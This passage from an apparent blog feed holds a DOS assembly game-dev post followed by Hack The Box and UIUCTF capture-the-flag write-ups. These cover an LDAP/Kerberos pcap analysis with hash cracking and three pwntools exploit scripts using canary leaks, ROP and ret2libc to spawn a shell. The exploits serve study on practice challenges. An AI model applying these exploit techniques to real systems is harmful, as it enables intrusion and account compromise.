mode, you can address the whole screen. 16-bit means you can use 16-bit registers, store 16-bit information in them.</p><p>16 bit = 2¹⁶ = 65536.</p><p>320x200 = 64000</p><p>So every pixel can be addressed.</p><p>My original game was using 640x480, which I wanted to keep, but it can’t be addressed with a 16-bit register, so I have to do so-called banking to address the first 1/5 of the screen, then step to the next bank, and so on.</p><p>So when I want to draw a pixel in an XY coordinate, I have to calculate which bank I should use and what the offset is in that bank.</p><p>This can be slow if I want to draw the whole screen pixel by pixel, so I need to do some tricks. E.g., calculate the top-left corner’s position only once and write the first line of the graphic into the video memory. Add 1 line minus the graphic width to go to the next line, and write that line also. Repeat this until the whole graphic is displayed, and switch banks only when reaching the end of the previous one. With this trick, we can avoid lots of calculations, so we can draw faster.</p><p>I started to mix it with mouse handling, cursor drawing, etc. Unfortunately, the chosen mode (0x101–640x480 with 256 colors) did not support the mouse well, so I switched back to an older 0x12 mode, which is the same as the original solution (640x480 with 16 colors). And supports the mouse well. The only strange behaviour is that the pixels are 4 bits, instead of the usual 8. So the paging is a bit different.</p><p>I could create a black screen with the mouse cursor, but the drawing is still a work in progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*Na9_965b1dlTeEzPeDw1vA.png" /></figure><h3>The code</h3><pre>; main.asm<br><br>bits 16<br>org 0x100<br><br>section .text<br><br>start:<br>    pusha<br>    xor ax, ax<br>    xor bx, bx<br>    xor cx, cx<br>    xor dx, dx<br>    mov bp, sp<br><br>    call initVesaVGAMode<br>    call initMouse<br><br>    ; Wait for key<br>    mov ah, 0<br>    int 0x16<br><br>    ; Set text mode back<br>    mov ax, 0x3<br>    int 0x10<br><br>    popa<br>    ret<br><br><br>%include &quot;vesa.inc&quot;<br>%include &quot;mouse.inc&quot;<br><br>section .data<br><br>section .bss</pre><pre>; vesa.inc<br><br>;-----------------------------------------------------------------------------<br>;| Procedure: initVesaVGAMode                                                |<br>;-----------------------------------------------------------------------------<br>initVesaVGAMode:<br>    pusha<br>    mov ax, 0x12<br>    int 0x10<br>    popa<br>    ret</pre><pre>; mouse.inc<br><br>;-----------------------------------------------------------------------------<br>;| Procedure: initMouse                                                      |<br>;-----------------------------------------------------------------------------<br>initMouse:<br>    pusha<br>    ; First check if mouse is available<br>    mov ax, 0x0         ; INT 33h, AH=0: Mouse reset/detection<br>    int 0x33<br>    cmp ax, 0           ; If AX=0, mouse not found or driver not installed<br>    je no_mouse<br><br>    ; Show mouse cursor<br>    mov ax, 0x1         ; INT 33h, AH=1: Show mouse cursor<br>    int 0x33<br><br>    ; Set custom mouse cursor<br>    mov ax, 0x9         ; INT 33h, AH=9: Define graphics cursor<br>    mov bx, [hotX]      ; BX = Hot spot X coordinate (cursor point)<br>    mov cx, [hotY]      ; CX = Hot spot Y coordinate<br>    mov dx, ScreenMask  ; DX = Segment:offset of AND mask<br>    mov si, CursorMask  ; SI = Segment:offset of XOR mask<br>    int 0x33<br>    popa<br>    ret<br><br>no_mouse:<br>    ; Display error message if no mouse<br>    mov ah, 0x09        ; INT 21h, AH=9: Display string<br>    mov dx, no_mouse_msg<br>    int 0x21<br>    <br>    ; Exit program<br>    mov ax, 0x4C00<br>    int 0x21<br><br><br>;-----------------------------------------------------------------------------<br><br>; Custom mouse cursor definition (16x16 pixels)<br>ScreenMask:<br>    dw 0xF01F, 0xE00F, 0xC007, 0x8003, 0x0441, 0x0C61, 0x0381, 0x0381<br>    dw 0x0381, 0x0C61, 0x0441, 0x8003, 0xC007, 0xE00F, 0xF01F, 0xFFFF<br><br>CursorMask:<br>    dw 0x0000, 0x07C0, 0x0920, 0x1110, 0x2108, 0x4004, 0x4004, 0x783C<br>    dw 0x4004, 0x4004, 0x2108, 0x1110, 0x0920, 0x07C0, 0x0000, 0x0000<br><br>hotX: dw 0x0007<br><br>hotY: dw 0x0007<br><br>no_mouse_msg: db &#39;No mouse detected or driver not installed!$&#39;</pre><p>This seems so small and easy, but this is just the beginning. So, stay tuned, and there will be more soon.</p><p><strong><em>To Be Continued…</em></strong></p><h3>References</h3><ul><li><a href="https://en.wikipedia.org/wiki/VESA_BIOS_Extensions">https://en.wikipedia.org/wiki/VESA_BIOS_Extensions</a></li><li><a href="https://www.youtube.com/watch?v=1UzTf0Qo37A&amp;t=49s">https://www.youtube.com/watch?v=1UzTf0Qo37A</a></li><li><a href="https://www.youtube.com/watch?v=mYPzJlqQ3XI&amp;t=1110s">https://www.youtube.com/watch?v=mYPzJlqQ3XI</a></li><li><a href="https://www.youtube.com/watch?v=TVvTDjMph1M&amp;t=1456s">https://www.youtube.com/watch?v=TVvTDjMph1M</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90f6b292812e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Business CTF 2024 — Tangled Heist]]></title>
            <link>https://infosecwriteups.com/htb-business-ctf-2024-tangled-heist-281eb0934d2d?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/281eb0934d2d</guid>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[john-the-ripper]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 14:31:24 GMT</pubDate>
            <atom:updated>2025-04-13T16:01:44.249Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: Business CTF 2024 — Tangled Heist</h3><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYQc1Mv5mHtktgtPNiyzhQ.png" /></figure><h4>Assets</h4><p><a href="https://github.com/sigee/CTF/blob/main/HackTheBox/business-ctf-2024/forensics/01_tangled_heist/assets/capture.pcap">capture.pcap</a></p><h4>Description</h4><p>The survivors’ group has meticulously planned the mission ‘Tangled Heist’ for months. In the desolate wasteland, what appears to be an abandoned facility is, in reality, the headquarters of a rebel faction. This faction guards valuable data that could be useful in reaching the vault. Kaila, acting as an undercover agent, successfully infiltrates the facility using a rebel faction member’s account and gains access to a critical asset containing invaluable information. This data holds the key to both understanding the rebel faction’s organization and advancing the survivors’ mission to reach the vault. Can you help her with this task?</p><h4>Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyWpeLtI2B0tnU8tUfpbVg.png" /><figcaption>capture.pcap</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxYV6AWigpVQDN9Y59k2CA.png" /><figcaption>Protocol Hierarchy</figcaption></figure><p>The provided file contains network traffic from different protocols, more specifically:</p><ul><li>LDAP traffic of a Windows Active Directory environment (port 389)</li><li>KRB5 (port 88)</li></ul><h4>Tasks</h4><p>[1/11] Which is the username of the compromised user used to conduct the attack? (for example: username)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFhgWBgyVPzTNxRN23OXAA.png" /><figcaption>Wireshark filter: ntlmssp.auth.username</figcaption></figure><p>Answer: Copper</p><p>[2/11] What is the Distinguished Name (DN) of the Domain Controller? Don’t put spaces between commas. (for example: CN=…,CN=…,DC=…,DC=…)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rl5-OE6L7H_U3fgPEIW7vQ.png" /><figcaption>Wireshark filter: ldap contains “OU=Domain Controllers”</figcaption></figure><p>Answer: CN=SRV195,OU=Domain Controllers,DC=rebcorp,DC=htb</p><p>[3/11] Which is the Domain managed by the Domain Controller? (for example: corp.domain)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2t6Ah6Uu6csvzaS0hxWAwQ.png" /><figcaption>Wireshark filter: ntlmssp.auth.domain</figcaption></figure><p>Answer: rebcorp.htb</p><p>[4/11] How many failed login attempts are recorded on the user account named ‘Ranger’? (for example: 6)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsly4eODUXRl7ghMpthZkg.png" /><figcaption>Wireshark filter: ldap contains “badPwdCount” and ldap contains “Ranger”</figcaption></figure><p>Answer: 14</p><p>[5/11] Which LDAP query was executed to find all groups? (for example: (object=value))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NLt4_yJXZ1bX-bcu6-mzaA.png" /><figcaption>Wireshark filter: ldap contains “group” and ip.src == 10.10.10.43</figcaption></figure><p>Answer: (objectClass=group)</p><p>[6/11] How many non-standard groups exist? (for example: 1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tf2bJP8-vgsfXBXtLuMnA.png" /><figcaption>Wireshark filter: ldap contains “group”</figcaption></figure><p>Answer: 5</p><p>[7/11] One of the non-standard users is flagged as ‘disabled’, which is it? (for example: username)</p><p><a href="https://www.techjutsu.ca/uac-decoder">https://www.techjutsu.ca/uac-decoder</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*YqehlIDzfLxXwcFd" /><figcaption>“NORMAL_ACCOUNT” (512) + “ACCOUNTDISABLE” (2) = 514</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NfKKgV3QRPlg9dRKB3uunw.png" /><figcaption>Wireshark filter: ldap contains “userAccountControl” and ldap contains “CN=Users” and ldap contains “514”</figcaption></figure><p>Answer: Radiation</p><p>[8/11] The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPI4yffNWoYH-aDuaLAOFg.png" /><figcaption>Wireshark filter: ldap.modifyRequest_element</figcaption></figure><p>Answer: wWWHomePage</p><p>[9/11] Which is the new value written in it? (for example: value123)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b4Xx9UhxnmzlsKt5lYlzAQ.png" /><figcaption>Wireshark filter: ldap.modifyRequest_element</figcaption></figure><p>Answer: <a href="http://rebcorp.htb/qPvAdQ.php">http://rebcorp.htb/qPvAdQ.php</a></p><p>[10/11] The attacker created a new user for persistence. Which is the username and the assigned group? Don’t put spaces in the answer (for example: username,group)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmD-d-HNbUI9ZC7Tc1vyHQ.png" /><figcaption>Wireshark filter: ldap.addRequest_element</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jKMyxXDR8ckhlECSI-JHHA.png" /><figcaption>Wireshark filter: ldap.modifyRequest_element</figcaption></figure><p>Answer: B4ck,Enclave</p><p>[11/11] The attacker obtained an hash for the user ‘Hurricane’ that has the UF_DONT_REQUIRE_PREAUTH flag set. Which is the correspondent plaintext for that hash? (for example: plaintext_password)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7YLx1t0n0kU7N-XIpNRIFg.png" /><figcaption>Wireshark filter: kerberos</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZnR74NSdGofhjMbTT5Fdg.png" /><figcaption>hash.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDpFu-qnUkoTTbiyCB2v8A.png" /><figcaption>John the Ripper</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*P7jIxOpxSddNl2x2vDkE2w.png" /><figcaption>John the Ripper</figcaption></figure><p>Answer: april18</p><h4>Skills Learned</h4><ul><li>Network analysis</li><li>Analyzing LDAP protocol</li><li>Analyzing KRB5 protocol</li><li>Analyzing Active Directory structure</li><li>Extracting relevant data</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=281eb0934d2d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/htb-business-ctf-2024-tangled-heist-281eb0934d2d">HTB: Business CTF 2024 — Tangled Heist</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cyber Apocalypse 2025 — Quack Quack]]></title>
            <link>https://infosecwriteups.com/htb-cyber-apocalypse-2025-quack-quack-1775cefc26ae?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/1775cefc26ae</guid>
            <category><![CDATA[stack-canary]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ret2win]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 04:17:36 GMT</pubDate>
            <atom:updated>2025-03-30T04:17:36.421Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: Cyber Apocalypse 2025 — Quack Quack</h3><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9onCOkJOJE1EriMN" /></figure><h4>Description</h4><p>On the quest to reclaim the Dragon’s Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks! Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it’s time to face the Duck!</p><h4>Protection (checksec)</h4><pre>$ checksec<br>    Arch:     amd64-64-little<br>    RELRO:    Full RELRO<br>    Stack:    Canary found<br>    NX:       NX enabled<br>    PIE:      No PIE (0x400000)<br>    RUNPATH:  b&#39;./glibc/&#39;</pre><h4>Disassembly (ghidra)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*Lv3YfZ5HoDgZjyFRPO_jJA.png" /><figcaption>duckling() function</figcaption></figure><p>In this function, there is a read where we should put “Quack Quack “ somewhere to bypass the first check. Because of strstr(), it does not matter where.</p><p>In the next section, the printf() will print the string after the “Quack Quack “ by shifting 30 bytes. If we place it in the right position, it will print out the stack canary.</p><p>Finally, we can read another text that can override the whole stack, the canary, the base pointer, and even the return address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*kN8bDfZEok9yCBBYTe37xg.png" /><figcaption>Win function</figcaption></figure><p>As we have a win function called duck_attack(), we can put its address to the place of return address.</p><h4>Exploitation</h4><ul><li>Write the right amount of garbage (89 bytes of ‘A’) followed by the ‘Quack Quack ‘</li><li>Read the value of the canary</li><li>Write the right amount of garbage (88 bytes of ‘B’) followed by the canary followed by some garbage (8 bytes of ‘C’) followed by the address of duck_attack()</li></ul><h4>Solution (pwntools)</h4><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br># This exploit template was generated by Sigee via:<br># $ pwn template --template template.mako --host 10.10.10.10 --port 1337 ./quack_quack<br>from pwn import *<br><br># Set up pwntools for the correct architecture<br>exe = context.binary = ELF(args.EXE or &#39;./quack_quack&#39;)<br><br>context(terminal=[&#39;tmux&#39;, &#39;split-window&#39;, &#39;-h&#39;])<br><br># Many built-in settings can be controlled on the command-line and show up<br># in &quot;args&quot;.  For example, to dump all data sent/received, and disable ASLR<br># for all created processes...<br># ./exploit.py DEBUG NOASLR<br># ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable<br>host = args.HOST or &#39;10.10.10.10&#39;<br>port = int(args.PORT or 1337)<br><br><br>def start_local(argv=[], *a, **kw):<br>    &#39;&#39;&#39;Execute the target binary locally&#39;&#39;&#39;<br>    if args.GDB:<br>        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)<br>    else:<br>        return process([exe.path] + argv, *a, **kw)<br><br><br>def start_remote(argv=[], *a, **kw):<br>    &#39;&#39;&#39;Connect to the process on the remote host&#39;&#39;&#39;<br>    io = connect(host, port)<br>    if args.GDB:<br>        gdb.attach(io, gdbscript=gdbscript)<br>    return io<br><br><br>def start(argv=[], *a, **kw):<br>    &#39;&#39;&#39;Start the exploit against the target.&#39;&#39;&#39;<br>    if args.REMOTE:<br>        return start_remote(argv, *a, **kw)<br>    else:<br>        return start_local(argv, *a, **kw)<br><br># Specify your GDB script here for debugging<br># GDB will be launched if the exploit is run via e.g.<br># ./exploit.py GDB<br>gdbscript = &#39;&#39;&#39;<br>init-gef<br>b *main<br>continue<br>&#39;&#39;&#39;.format(**locals())<br><br>#===========================================================<br>#                    EXPLOIT GOES HERE<br>#===========================================================<br># Arch:     amd64-64-little<br># RELRO:    Full RELRO<br># Stack:    Canary found<br># NX:       NX enabled<br># PIE:      No PIE (0x400000)<br># RUNPATH:  b&#39;./glibc/&#39;<br><br>io = start()<br><br>io.recvuntil(b&#39;Quack Quack &#39;)<br>io.clean()<br><br>first_offset = 89<br>io.sendline(b&#39;A&#39; * first_offset + b&#39;Quack Quack &#39;)<br><br>io.recvuntil(b&#39;Quack Quack &#39;)<br>canary_leek = u64(io.recv(7).rjust(8, b&quot;\x00&quot;))<br>info(f&#39;{hex(canary_leek)=}&#39;)<br><br>duck_attack_address = exe.symbols.get(&#39;duck_attack&#39;)<br><br>io.recv()<br>second_offset = 88<br>io.sendline(b&#39;B&#39; * second_offset + p64(canary_leek) + b&#39;C&#39; * 8 + p64(duck_attack_address))<br><br>io.recvuntil(b&#39;against a Duck?!\n\n&#39;)<br>warning(&#39;Flag: &#39; + io.recv().decode(&#39;utf-8&#39;))<br><br>io.interactive()</pre><h4>Skills Learned</h4><ul><li>leaking information (canary)</li><li>buffer overflow</li><li>ret2win</li><li>bypass canary</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1775cefc26ae" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/htb-cyber-apocalypse-2025-quack-quack-1775cefc26ae">HTB: Cyber Apocalypse 2025 — Quack Quack</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cyber Apocalypse 2024 — Pet Companion]]></title>
            <link>https://infosecwriteups.com/htb-cyber-apocalypse-2024-pet-companion-b9c289efc448?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9c289efc448</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[ret2libc]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[assembly]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Thu, 27 Feb 2025 07:05:50 GMT</pubDate>
            <atom:updated>2025-03-01T21:37:54.016Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: Cyber Apocalypse 2024 — Pet Companion</h3><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VVAGYDUJqUAfXbS87yuhQ.png" /></figure><h4>Description</h4><p>Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet’s demeanor — whether happy, angry, sad, or funny — to enhance your bond on this perilous adventure.</p><h4>Protection (checksec)</h4><pre>$ checksec<br>    Arch:     amd64-64-little<br>    RELRO:    Full RELRO<br>    Stack:    No canary found<br>    NX:       NX enabled<br>    PIE:      No PIE (0x400000)<br>    RUNPATH:  b&#39;./glibc/&#39;</pre><h4>Disassembly (ghidra)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*6GYeIEtR1CdfZRqRj8Urzw.png" /><figcaption>64 bytes buffer (256 bytes is read)</figcaption></figure><p>We can notice in the read method that we read 256 data, but the buffer is 64 bytes long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*msZ-Ju9EB1uBfaw1QymmXQ.png" /><figcaption>libc functions available in PLT (Procedure Linkage Table)</figcaption></figure><h4>Exploitation</h4><ul><li>Overflows the buffer (64 bytes + 8 bytes for saved RBP)</li><li>Uses Return-Oriented Programming (ROP) to call write with the address of read or write function from libc</li><li>Calculate libc base address</li><li>Call system(‘/bin/sh’)</li></ul><h4>Solution (pwntools)</h4><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br>from pwn import *<br><br>exe = context.binary = ELF(args.EXE or &#39;./pet_companion&#39;)<br><br>context.log_level = &quot;INFO&quot;<br>context(terminal=[&#39;tmux&#39;, &#39;split-window&#39;, &#39;-h&#39;])<br><br>host = args.HOST or &#39;83.136.254.189&#39;<br>port = int(args.PORT or 49069)<br><br><br>def start_local(argv=[], *a, **kw):<br>    if args.GDB:<br>        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)<br>    else:<br>        return process([exe.path] + argv, *a, **kw)<br><br><br>def start_remote(argv=[], *a, **kw):<br>    io = connect(host, port)<br>    if args.GDB:<br>        gdb.attach(io, gdbscript=gdbscript)<br>    return io<br><br><br>def start(argv=[], *a, **kw):<br>    if args.REMOTE:<br>        return start_remote(argv, *a, **kw)<br>    else:<br>        return start_local(argv, *a, **kw)<br><br>gdbscript = &#39;&#39;&#39;<br>init-gef<br>continue<br>&#39;&#39;&#39;.format(**locals())<br><br>#===========================================================<br>#                    EXPLOIT GOES HERE<br>#===========================================================<br>#    Arch:       amd64-64-little<br>#    RELRO:      Full RELRO<br>#    Stack:      No canary found<br>#    NX:         NX enabled<br>#    PIE:        No PIE (0x400000)<br>#    RUNPATH:    b&#39;./glibc/&#39;<br>#    Stripped:   No<br><br>io = start()<br><br>rop = ROP(exe)<br>rop.write(1, exe.got[&#39;write&#39;])<br>rop.main()<br>io.sendline(b&#39;A&#39; * 64 + b&#39;B&#39; * 8 + rop.chain())<br>io.recvuntil(b&#39;Configuring...\n\n&#39;)<br>write_leek = u64(io.recv(6).ljust(8, b&#39;\x00&#39;))<br>info(f&#39;{hex(write_leek)=}&#39;)<br><br>libc = ELF(&#39;./glibc/libc.so.6&#39;, checksec=False)<br>libc.address = write_leek - libc.symbols[&#39;write&#39;]<br>libc_rop = ROP(libc)<br>libc_rop.system(next(libc.search(b&#39;/bin/sh\x00&#39;)))<br>io.sendline(b&#39;A&#39; * 64 + b&#39;B&#39; * 8 + libc_rop.chain())<br><br>io.clean()<br>io.sendline(b&#39;cat flag.txt&#39;)<br>warning(&#39;Flag: &#39; + io.recv().decode(&#39;utf-8&#39;))<br><br>io.interactive()</pre><h4>Skills Learned</h4><ul><li>buffer overflow</li><li>ret2libc</li><li>ROP (Return-Oriented Programming)</li><li>GOT (Global Offset Table)</li><li>PLT (Procedure Linkage Table)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9c289efc448" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/htb-cyber-apocalypse-2024-pet-companion-b9c289efc448">HTB: Cyber Apocalypse 2024 — Pet Companion</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cyber Apocalypse 2024 — Rocket Blaster XXX]]></title>
            <link>https://infosecwriteups.com/htb-cyber-apocalypse-2024-rocket-blaster-xxx-b4611ea09e56?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4611ea09e56</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[ret2win]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[assembly]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 05:16:27 GMT</pubDate>
            <atom:updated>2025-03-01T21:27:30.708Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB: Cyber Apocalypse 2024 — Rocket Blaster XXX</h3><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sPnoyTgeqZu9gaLv" /></figure><h4>Description</h4><p>Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray — let the fight commence!</p><h4>Protection (checksec)</h4><pre>$ checksec<br>    Arch:       amd64-64-little<br>    RELRO:      Full RELRO<br>    Stack:      No canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x400000)<br>    RUNPATH:    b&#39;./glibc/&#39;<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No</pre><h4>Disassembly (ghidra)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*JFE8lGVShIU3BLrgjUjRgw.png" /><figcaption>32 bytes buffer (102 bytes is read)</figcaption></figure><p>We can notice in the read method, we read 0x66 (102) bytes of data, but the buffer is 32 bytes long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*rBpwHmG4xzG8icHpmZdz3Q.png" /><figcaption>win function with specific parameters</figcaption></figure><p>Additionally, we find the fill_ammo function, which validates three parameters before reading and printing the flag.</p><h4>Exploitation</h4><ul><li>Overflows the buffer (32 bytes + 8 bytes for saved RBP)</li><li>Uses Return-Oriented Programming (ROP) to call fill_ammo with the correct arguments</li></ul><h4>Solution (pwntools)</h4><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br>from pwn import *<br><br>exe = context.binary = ELF(args.EXE or &#39;./rocket_blaster_xxx&#39;)<br><br>context.log_level = &quot;INFO&quot;<br>context(terminal=[&#39;tmux&#39;, &#39;split-window&#39;, &#39;-h&#39;])<br><br>host = args.HOST or &#39;83.136.254.189&#39;<br>port = int(args.PORT or 49069)<br><br><br>def start_local(argv=[], *a, **kw):<br>    if args.GDB:<br>        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)<br>    else:<br>        return process([exe.path] + argv, *a, **kw)<br><br><br>def start_remote(argv=[], *a, **kw):<br>    io = connect(host, port)<br>    if args.GDB:<br>        gdb.attach(io, gdbscript=gdbscript)<br>    return io<br><br><br>def start(argv=[], *a, **kw):<br>    if args.REMOTE:<br>        return start_remote(argv, *a, **kw)<br>    else:<br>        return start_local(argv, *a, **kw)<br><br>gdbscript = &#39;&#39;&#39;<br>init-gef<br>continue<br>&#39;&#39;&#39;.format(**locals())<br><br>#===========================================================<br>#                    EXPLOIT GOES HERE<br>#===========================================================<br>#    Arch:       amd64-64-little<br>#    RELRO:      Full RELRO<br>#    Stack:      No canary found<br>#    NX:         NX enabled<br>#    PIE:        No PIE (0x400000)<br>#    RUNPATH:    b&#39;./glibc/&#39;<br>#    SHSTK:      Enabled<br>#    IBT:        Enabled<br>#    Stripped:   No<br><br>io = start()<br><br>rop = ROP(exe)<br>rop.raw(rop.find_gadget([&#39;ret&#39;]).address)<br>rop.fill_ammo(0xdeadbeef, 0xdeadbabe, 0xdead1337)<br>io.sendline(b&#39;A&#39; * 32 + b&#39;B&#39; *  8 + rop.chain())<br>io.recvuntil(b&#39;Ready to launch at: &#39;)<br><br>warning(&#39;Flag: &#39; + io.recv().decode(&#39;utf-8&#39;))<br><br>io.interactive()</pre><h4>Skills Learned</h4><ul><li>buffer overflow</li><li>ret2win</li><li>ROP (Return-Oriented Programming)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4611ea09e56" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/htb-cyber-apocalypse-2024-rocket-blaster-xxx-b4611ea09e56">HTB: Cyber Apocalypse 2024 — Rocket Blaster XXX</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UIUCTF 2024 — Summarize]]></title>
            <link>https://infosecwriteups.com/uiuctf-2024-summarize-c9b3e100c736?source=rss-4041bef53340------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9b3e100c736</guid>
            <category><![CDATA[z3]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[calculations]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Szigecsán Dávid]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 18:00:33 GMT</pubDate>
            <atom:updated>2024-07-11T11:36:56.976Z</atom:updated>
            <content:encoded><![CDATA[<h3>UIUCTF 2024 — <strong>Summarize</strong></h3><h4>Summarize</h4><p>Category: Reverse Engineering<br>Tags: reversing, ghidra, z3-solver</p><h3>Description</h3><blockquote>All you have to do is find six numbers. How hard can that be?</blockquote><blockquote>Author: Nikhil</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*PSVD21QOdypd2NJQ4l4oHQ.png" /><figcaption>It will be EZ.</figcaption></figure><h3>Disassembly (BinaryNinja/ghidra)</h3><p><a href="https://dogbolt.org/?id=8d09d83e-8514-464b-8722-515ca0f11d91">https://dogbolt.org/?id=8d09d83e-8514-464b-8722-515ca0f11d91</a></p><p>Based on the entry(), we know the program starts with the FUN_004011d6()/sub_4011d6(), which asks for six numbers, each is 9-digit long.<br>After that, there is a check method called FUN_0040137b()/sub_40137b(), which gets the numbers and does a bunch of examinations on them.<br>First, it checks if they are in the correct range.</p><pre>if (<br>    (param_1 &lt; 0x5f5e101) || (param_2 &lt; 0x5f5e101) ||<br>    (param_3 &lt; 0x5f5e101) || (param_4 &lt; 0x5f5e101) ||<br>    (param_5 &lt; 0x5f5e101) || (param_6 &lt; 0x5f5e101)<br>) {<br>    uVar1 = 0;<br>}</pre><p><em>Note: 0x5f5e101 = 100000001</em></p><pre>if (<br>    (param_1 &lt; 1000000000) &amp;&amp; (param_2 &lt; 1000000000) &amp;&amp;<br>    (param_3 &lt; 1000000000) &amp;&amp; (param_4 &lt; 1000000000) &amp;&amp;<br>    (param_5 &lt; 1000000000) &amp;&amp; (param_6 &lt; 1000000000)<br>) {<br>    uVar1 = FUN_004016d8(param_1,param_2);<br>    uVar2 = FUN_0040163d(uVar1,param_3);<br>    uVar3 = FUN_0040163d(param_1,param_2);<br>    uVar1 = FUN_004016fe(2,param_2);<br>    uVar4 = FUN_004016fe(3,param_1);<br>    uVar5 = FUN_004016d8(uVar4,uVar1);<br>    uVar6 = FUN_0040174a(param_1,param_4);<br>    uVar1 = 